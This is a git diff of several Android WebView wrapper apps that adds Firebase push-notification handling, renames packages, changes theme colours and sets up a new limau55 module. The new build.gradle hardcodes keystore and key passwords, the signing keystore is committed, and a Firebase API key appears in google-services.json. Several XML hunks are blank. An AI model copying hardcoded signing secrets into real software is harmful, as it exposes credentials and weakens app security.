@@ -1,6 +1,6 @@
+ package="com.xyz.koala3210">
serviceData = remoteMessage.getData(); //后台推送数据
- if (serviceData != null && serviceData.containsKey("message")) {
- String value = serviceData.get("message");
- Gson gson = new Gson();
- MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
- showNotification(messageInfo);
- } else {
- //收到通知 创建notify
- if (remoteMessage.getNotification() != null) {
- showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
- }
- }
- }
-
- private void showNotification(MessageInfo messageInfo) {
- Intent notifyIntent = new Intent(this, MainActivity.class);
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
- ComponentName launchComponent = null;
- launchComponent = getApplication()
- .getPackageManager()
- .getLaunchIntentForPackage(getApplication().getPackageName())
- .getComponent();
- notifyIntent.setComponent(launchComponent);
- }
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
- notifyIntent.setAction(Intent.ACTION_VIEW);
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
- notifyIntent.putExtra("message", messageInfo);
- PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
- NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- NotificationChannel channelwinway = null;
- NotificationCompat.Builder notificationBuilder = null;
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
- channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
- channelwinway.enableLights(true);
- channelwinway.enableVibration(true);
- notificationManager.createNotificationChannel(channelwinway);
- notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(messageInfo.getTitle())
- .setContentText(messageInfo.getContent())
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- } else {
- notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(messageInfo.getTitle())
- .setContentText(messageInfo.getContent())
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- }
- notificationManager.notify(0, notificationBuilder.build());
- }
-
- private void showNotification(String title, String body) {
- Intent notifyIntent = new Intent(this, MainActivity.class);
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
- ComponentName launchComponent = null;
- launchComponent = getApplication()
- .getPackageManager()
- .getLaunchIntentForPackage(getApplication().getPackageName())
- .getComponent();
- notifyIntent.setComponent(launchComponent);
- }
- notifyIntent.putExtra("message", body);
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
- notifyIntent.setAction(Intent.ACTION_VIEW);
- notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
- PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
- NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
- NotificationChannel channelwinway = null;
- NotificationCompat.Builder notificationBuilder = null;
- MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
- if (messageInfo != null) {
- body = messageInfo.getContent();
- }
- if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
- channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
- channelwinway.enableLights(true);
- channelwinway.enableVibration(true);
- notificationManager.createNotificationChannel(channelwinway);
- notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(title)
- .setContentText(body)
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- } else {
- notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
- .setSmallIcon(R.mipmap.app_logo)
- .setContentTitle(title)
- .setContentText(body)
- .setAutoCancel(true)
- .setContentIntent(pendingIntent);
- }
- notificationManager.notify(0, notificationBuilder.build());
- }
-}
diff --git a/koala88/src/main/java/com/xyz/alako21/WebApplication.java b/koala88/src/main/java/com/xyz/alako21/WebApplication.java
deleted file mode 100644
index b97965f..0000000
--- a/koala88/src/main/java/com/xyz/alako21/WebApplication.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.xyz.alako21;
-
-import android.app.Application;
-import android.content.Context;
-import com.tencent.smtt.export.external.TbsCoreSettings;
-import com.tencent.smtt.sdk.QbSdk;
-import java.util.HashMap;
-
-public class WebApplication extends Application {
-
-
- public static Context application;
- @Override
- public void onCreate() {
- super.onCreate();
-// 设置开启优化方案
- application = this;
- HashMap map = new HashMap();
- map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true);
- map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true);
- QbSdk.initTbsSettings(map);
- QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() {
- @Override
- public void onCoreInitFinished() {
-
- }
-
- @Override
- public void onViewInitFinished(boolean b) {
-
- }
- });
- QbSdk.setDownloadWithoutWifi(true);
- }
-}
diff --git a/koala88/src/main/java/com/xyz/alako21/MainActivity.java b/koala88/src/main/java/com/xyz/koala3210/MainActivity.java
similarity index 98%
rename from koala88/src/main/java/com/xyz/alako21/MainActivity.java
rename to koala88/src/main/java/com/xyz/koala3210/MainActivity.java
index 88eb7bc..cbce029 100644
--- a/koala88/src/main/java/com/xyz/alako21/MainActivity.java
+++ b/koala88/src/main/java/com/xyz/koala3210/MainActivity.java
@@ -1,4 +1,4 @@
-package com.xyz.alako21;
+package com.xyz.koala3210;
import android.content.pm.PackageInfo;
diff --git a/koala88/src/main/java/com/xyz/koala3210/MyFirebaseMessageingService.java b/koala88/src/main/java/com/xyz/koala3210/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..8562fbe
--- /dev/null
+++ b/koala88/src/main/java/com/xyz/koala3210/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.koala3210;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/koala88/src/main/java/com/xyz/koala3210/WebApplication.java b/koala88/src/main/java/com/xyz/koala3210/WebApplication.java
new file mode 100644
index 0000000..a6192c3
--- /dev/null
+++ b/koala88/src/main/java/com/xyz/koala3210/WebApplication.java
@@ -0,0 +1,35 @@
+package com.xyz.koala3210;
+
+import android.app.Application;
+import android.content.Context;
+import com.tencent.smtt.export.external.TbsCoreSettings;
+import com.tencent.smtt.sdk.QbSdk;
+import java.util.HashMap;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ HashMap map = new HashMap();
+ map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true);
+ map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true);
+ QbSdk.initTbsSettings(map);
+ QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() {
+ @Override
+ public void onCoreInitFinished() {
+
+ }
+
+ @Override
+ public void onViewInitFinished(boolean b) {
+
+ }
+ });
+ QbSdk.setDownloadWithoutWifi(true);
+ }
+}
diff --git a/kongbo96/build.gradle b/kongbo96/build.gradle
index a8b5a17..cdfc180 100644
--- a/kongbo96/build.gradle
+++ b/kongbo96/build.gradle
@@ -44,7 +44,7 @@ android {
applicationVariants.all { variant ->
variant.outputs.all {
- def appName = "kongbo96"
+ def appName = "opiepoaerpoeawrpoerwa"
def outputDir = new File(rootProject.ext.outputPath)
// 创建输出目录
outputDir.mkdirs()
diff --git a/kongbo96/src/main/AndroidManifest.xml b/kongbo96/src/main/AndroidManifest.xml
index ca00eb2..a2fbd7a 100644
--- a/kongbo96/src/main/AndroidManifest.xml
+++ b/kongbo96/src/main/AndroidManifest.xml
@@ -9,14 +9,14 @@
android:name="android.hardware.camera2"
android:required="false" />
-
+
-
-
-
+
+
+
-
+
diff --git a/kongbo96/src/main/java/com/web/kongbo96/MainActivity.java b/kongbo96/src/main/java/com/web/kongbo96/MainActivity.java
index 447a351..9b4576c 100644
--- a/kongbo96/src/main/java/com/web/kongbo96/MainActivity.java
+++ b/kongbo96/src/main/java/com/web/kongbo96/MainActivity.java
@@ -25,9 +25,9 @@ public class MainActivity extends MainActivity2 {
com.web.base.MainActivity.saveString(this, "base_url","https://kongbo96.com/");
//网页的底部NavigationBar颜色
- com.web.base.MainActivity.saveString(this, "style_color", "#ff5800");
+ com.web.base.MainActivity.saveString(this, "style_color", "#fef9f3");
//页面的大背景颜色
- com.web.base.MainActivity.saveString(this, "windows_color", "#ff7901");
+ com.web.base.MainActivity.saveString(this, "windows_color", "#fff7e0");
//任务栏的文字颜色 0 黑 1白 默认黑
saveInt(MainActivity.this,"is_white",1);
super.onCreate(savedInstanceState);
diff --git a/kongbo96/src/main/res/drawable/big_bg.xml b/kongbo96/src/main/res/drawable/big_bg.xml
index 35332fe..f96b89b 100644
--- a/kongbo96/src/main/res/drawable/big_bg.xml
+++ b/kongbo96/src/main/res/drawable/big_bg.xml
@@ -3,6 +3,6 @@
android:shape="rectangle">
+ android:startColor="#fff7e0"
+ android:endColor="#fef9f3"/>
\ No newline at end of file
diff --git a/kongbo96/src/main/res/values/colors.xml b/kongbo96/src/main/res/values/colors.xml
index 6380c3a..c082470 100644
--- a/kongbo96/src/main/res/values/colors.xml
+++ b/kongbo96/src/main/res/values/colors.xml
@@ -9,7 +9,7 @@
#FFFFFFFF
#EF4723
#FFFFFFFF
- #ff5800
+ #fef9f3
#2C2C2E
#FFA722
#434343
diff --git a/limau55/.gitignore b/limau55/.gitignore
new file mode 100644
index 0000000..956c004
--- /dev/null
+++ b/limau55/.gitignore
@@ -0,0 +1,2 @@
+/build
+/release
\ No newline at end of file
diff --git a/limau55/build.gradle b/limau55/build.gradle
new file mode 100644
index 0000000..62f3ec1
--- /dev/null
+++ b/limau55/build.gradle
@@ -0,0 +1,80 @@
+plugins {
+ id 'com.android.application'
+ id 'com.google.gms.google-services'
+}
+
+android {
+ compileSdkVersion 31
+ buildToolsVersion "30.0.3"
+ defaultConfig {
+ applicationId "com.xyz.limau55"
+ minSdkVersion 24
+ targetSdkVersion 31
+ versionCode rootProject.ext.versionCode
+ versionName rootProject.ext.versionName
+ testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+ }
+
+ signingConfigs {
+ debug {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ release {
+ storeFile file('justlet.jks')
+ storePassword "123456"
+ keyAlias 'key0'
+ keyPassword "123456"
+ }
+ }
+
+ buildTypes {
+ release {
+ signingConfig signingConfigs.release
+ minifyEnabled false
+ proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+ }
+ }
+ compileOptions {
+ sourceCompatibility JavaVersion.VERSION_1_8
+ targetCompatibility JavaVersion.VERSION_1_8
+ }
+
+ applicationVariants.all { variant ->
+ variant.outputs.all {
+// def appName = "meemee99"
+ def appName = "limauireutiueruioerutirytt"
+
+ def outputDir = new File(rootProject.ext.outputPath)
+ // 创建输出目录
+ outputDir.mkdirs()
+ def outputFileName = "${appName}.apk"
+ // 设置输出文件名
+ setOutputFileName(outputFileName)
+ // 计算新的输出文件
+ def newOutputFile = new File(outputDir, outputFileName)
+ // 如果新的输出目录不存在,则创建它
+ newOutputFile.parentFile.mkdirs()
+ // 在构建完成后将 APK 复制到新位置
+ variant.assemble.doLast {
+ try {
+ java.nio.file.Files.copy(
+ outputFile.toPath(),
+ newOutputFile.toPath(),
+ java.nio.file.StandardCopyOption.REPLACE_EXISTING
+ )
+ println "Success to copy APK !!!"
+ } catch (java.io.IOException e) {
+ println "Failed to copy APK: ${e.message}"
+ }
+ }
+ }
+ }
+
+}
+
+dependencies {
+ implementation project(path: ':base_theme')
+}
\ No newline at end of file
diff --git a/limau55/google-services.json b/limau55/google-services.json
new file mode 100644
index 0000000..5cce4f6
--- /dev/null
+++ b/limau55/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "569466725541",
+ "project_id": "limau55-10cab",
+ "storage_bucket": "limau55-10cab.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:569466725541:android:ce72e7c3ed299b7d1c594c",
+ "android_client_info": {
+ "package_name": "com.xyz.limau55"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyA2tqxBvb6DHHK2Ut0FBzTzOJsgN6Z5qmI"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/limau55/justlet.jks b/limau55/justlet.jks
new file mode 100644
index 0000000..a33b839
Binary files /dev/null and b/limau55/justlet.jks differ
diff --git a/limau55/proguard-rules.pro b/limau55/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/limau55/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/limau55/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/limau55/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/limau55/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/limau55/src/main/AndroidManifest.xml b/limau55/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..7cc9257
--- /dev/null
+++ b/limau55/src/main/AndroidManifest.xml
@@ -0,0 +1,92 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/limau55/src/main/java/com/xyz/limau55/MainActivity.java b/limau55/src/main/java/com/xyz/limau55/MainActivity.java
new file mode 100644
index 0000000..3adffdf
--- /dev/null
+++ b/limau55/src/main/java/com/xyz/limau55/MainActivity.java
@@ -0,0 +1,80 @@
+package com.xyz.limau55;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import com.web.base.LogUtils;
+import com.web.base.MainActivity2;
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class MainActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo")
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+ setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ userId = Integer.parseInt(getString(R.string.userId));
+ saveInt(MainActivity.this,"user_code",userId);
+ saveInt(MainActivity.this,"version_code",getVersion());
+ saveString(this, "base_url",getString(R.string.base_url));
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(MainActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/limau55/src/main/java/com/xyz/limau55/MyFirebaseMessageingService.java b/limau55/src/main/java/com/xyz/limau55/MyFirebaseMessageingService.java
new file mode 100644
index 0000000..bb6a6f4
--- /dev/null
+++ b/limau55/src/main/java/com/xyz/limau55/MyFirebaseMessageingService.java
@@ -0,0 +1,125 @@
+package com.xyz.limau55;
+
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+import androidx.annotation.NonNull;
+import androidx.core.app.NotificationCompat;
+import com.google.firebase.messaging.FirebaseMessagingService;
+import com.google.firebase.messaging.RemoteMessage;
+import com.google.gson.Gson;
+import com.web.base.GsonUtils;
+import com.web.base.MessageInfo;
+import java.util.Map;
+import java.util.Random;
+
+public class MyFirebaseMessageingService extends FirebaseMessagingService {
+
+ public MyFirebaseMessageingService() {
+ }
+
+ @Override
+ public void onMessageReceived(@NonNull RemoteMessage remoteMessage) {
+ super.onMessageReceived(remoteMessage);
+ Map serviceData = remoteMessage.getData(); //后台推送数据
+ if (serviceData != null && serviceData.containsKey("message")) {
+ String value = serviceData.get("message");
+ Gson gson = new Gson();
+ MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class);
+ showNotification(messageInfo);
+ } else {
+ //收到通知 创建notify
+ if (remoteMessage.getNotification() != null) {
+ showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody());
+ }
+ }
+ }
+
+ private void showNotification(MessageInfo messageInfo) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ notifyIntent.putExtra("message", messageInfo);
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(messageInfo.getTitle())
+ .setContentText(messageInfo.getContent())
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+
+ private void showNotification(String title, String body) {
+ Intent notifyIntent = new Intent(this, MainActivity.class);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) {
+ ComponentName launchComponent = null;
+ launchComponent = getApplication()
+ .getPackageManager()
+ .getLaunchIntentForPackage(getApplication().getPackageName())
+ .getComponent();
+ notifyIntent.setComponent(launchComponent);
+ }
+ notifyIntent.putExtra("message", body);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ notifyIntent.setAction(Intent.ACTION_VIEW);
+ notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须
+ PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE);
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ NotificationChannel channelwinway = null;
+ NotificationCompat.Builder notificationBuilder = null;
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ body = messageInfo.getContent();
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT);
+ channelwinway.enableLights(true);
+ channelwinway.enableVibration(true);
+ notificationManager.createNotificationChannel(channelwinway);
+ notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId())
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ } else {
+ notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name))
+ .setSmallIcon(R.mipmap.app_logo)
+ .setContentTitle(title)
+ .setContentText(body)
+ .setAutoCancel(true)
+ .setContentIntent(pendingIntent);
+ }
+ notificationManager.notify(0, notificationBuilder.build());
+ }
+}
diff --git a/limau55/src/main/java/com/xyz/limau55/WebApplication.java b/limau55/src/main/java/com/xyz/limau55/WebApplication.java
new file mode 100644
index 0000000..90286ee
--- /dev/null
+++ b/limau55/src/main/java/com/xyz/limau55/WebApplication.java
@@ -0,0 +1,16 @@
+package com.xyz.limau55;
+
+import android.app.Application;
+import android.content.Context;
+
+public class WebApplication extends Application {
+
+
+ public static Context application;
+ @Override
+ public void onCreate() {
+ super.onCreate();
+// 设置开启优化方案
+ application = this;
+ }
+}
diff --git a/limau55/src/main/res/drawable/big_bg.xml b/limau55/src/main/res/drawable/big_bg.xml
new file mode 100644
index 0000000..2e41ced
--- /dev/null
+++ b/limau55/src/main/res/drawable/big_bg.xml
@@ -0,0 +1,8 @@
+
+
+
+
\ No newline at end of file
diff --git a/limau55/src/main/res/mipmap-xxhdpi/app_logo.jpg b/limau55/src/main/res/mipmap-xxhdpi/app_logo.jpg
new file mode 100644
index 0000000..2167513
Binary files /dev/null and b/limau55/src/main/res/mipmap-xxhdpi/app_logo.jpg differ
